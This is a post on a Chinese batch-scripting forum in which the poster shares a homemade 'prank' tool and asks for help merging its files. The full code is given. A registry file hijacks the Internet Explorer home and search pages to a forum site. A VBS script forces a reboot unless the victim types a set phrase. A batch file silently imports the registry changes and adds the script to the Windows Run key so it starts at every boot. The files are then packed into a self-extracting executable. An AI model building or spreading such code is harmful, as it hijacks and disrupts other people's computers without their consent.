[新手上路]批处理新手入门导读[视频教程]批处理基础视频教程[视频教程]VBS基础视频教程[批处理精品]批处理版照片整理器
[批处理精品]纯批处理备份&还原驱动[批处理精品]CMD命令50条不能说的秘密[在线下载]第三方命令行工具[在线帮助]VBScript / JScript 在线参考
返回列表 发帖

[其他] 求助将vbs、reg注册表文件和批处理整合成一个文件

本帖最后由 pcl_test 于 2016-9-3 14:14 编辑

发一个超级好玩的整人工具。自己做的。哈哈
这个工具很好玩滴。还能挟持对方的IE首页。


这几个就是核心文件啦。
577i.ico 这个是图标。就是


577i.reg 是注册表文件 内容如下
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Extensions\{6096E38F-5AC1-4391-8EC4-75DFA92FB32F}]
"CLSID"="{1FBA04EE-3024-11D2-8F1F-0000F87ABD16}"
"Default Visible"="Yes"
"ButtonText"="温州数码俱乐部"
"Exec"="http://bbs.577i.com"
"HotIcon"="%windir%\\system32\\577i.ICO"
"Icon"="%windir%\\system32\\577i.ICO"
[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main]
"NoUpdateCheck"=dword:00000001
"NoJITSetup"=dword:00000001
"Disable Script Debugger"="yes"
"Show_ChannelBand"="No"
"Anchor Underline"="yes"
"Cache_Update_Frequency"="Once_Per_Session"
"Display Inline Images"="yes"
"Do404Search"=hex:01,00,00,00
"Save_Session_History_On_Exit"="no"
"Show_FullURL"="no"
"Show_StatusBar"="yes"
"Show_ToolBar"="yes"
"Show_URLinStatusBar"="yes"
"Show_URLToolBar"="yes"
"Start Page"="http://bbs.577i.com/"
"Use_DlgBox_Colors"="yes"
"Search Page"="http://bbs.577i.com/"
"FullScreen"="no"
"Enable AutoImageResize"="yes"
"CNSMenu"=dword:de809d5c
"CNSHint"=dword:00000001
"CNSReset"=dword:de809d5c
"CNSEnable"=dword:00000001
"CNSList"=dword:00000001
"CNSAutoUpdate"=dword:00000001
"Use Search Asst"="no"
"Search Bar"="http://bbs.577i.com"
"Enable Browser Extensions"="yes"
"NotifyDownloadComplete"="yes"
"Use FormSuggest"="yes"
"ShowedCheckBrowser"="Yes"
"Check_Associations"="Yes"
"Error Dlg Displayed On Every Error"="no"
"AddToFavoritesExpanded"=dword:00000001
1.vbs其实就是主程序了内容如下

on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 120 -c ""说永远爱羽熙,不说就2分钟关你机,不信,试试···"" ",0 ,true   
dim a
do while(a <> "永远爱羽熙")
a = inputbox ("说永远爱羽熙,就不关机,快撒,说 ""永远爱羽熙"" ","永远爱羽熙","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛,我也爱你"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true   
msgbox chr(13) + chr(13) + chr(13) + "哈哈祝你天天快乐~"
577i.bat就是一个批处理文件内容如下。起到添加开机启动项的作用

@echo off
regedit /s 577i.reg
reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v lin /t REG_SZ /d %windir%\\system32\\1.vbs /f
exit
把几个文件压缩成自解压格式的文件后就出现整人.exe啦。哈哈。超级好玩滴。
其实可以整合成3个文件。可以把卡机启动项整合到 577i.reg里面的。或许还能再整合到1.vbs中。本人技术有限。哈哈



谁能帮我整合下么‘、j就是更加简单点。谢谢

本版规则
1、求代码、寻求代码解释、探讨代码得失的帖子均可发在本版块,其余话题禁止在本版讨论;
2、求助时,务必在顶楼一次性把问题交代清楚;若文字难以表述,请配图说明,或是上传附件;但是,一切操作应从节约论坛资源的角度出发,能文字说明清楚的就无需再发图片,小图能说明问题的尽量不截全图,在不影响效果的前提下尽量压缩图片及附件;
3、所发代码若不止一行,请务必用code标记把代码部分首尾括起来,以便他人复制;


Q: 如何用code把代码扩起来?
A: http://bbs.bathome.net/thread-404-1-1.html
我帮忙写的代码不需要付钱。如果一定要给,请在微信群或QQ群发给大家吧。
【微信公众号、微信群、QQ群】http://bbs.bathome.net/thread-3473-1-1.html
【支持批处理之家,加入VIP会员!】http://bbs.bathome.net/thread-67716-1-1.html

TOP

返回列表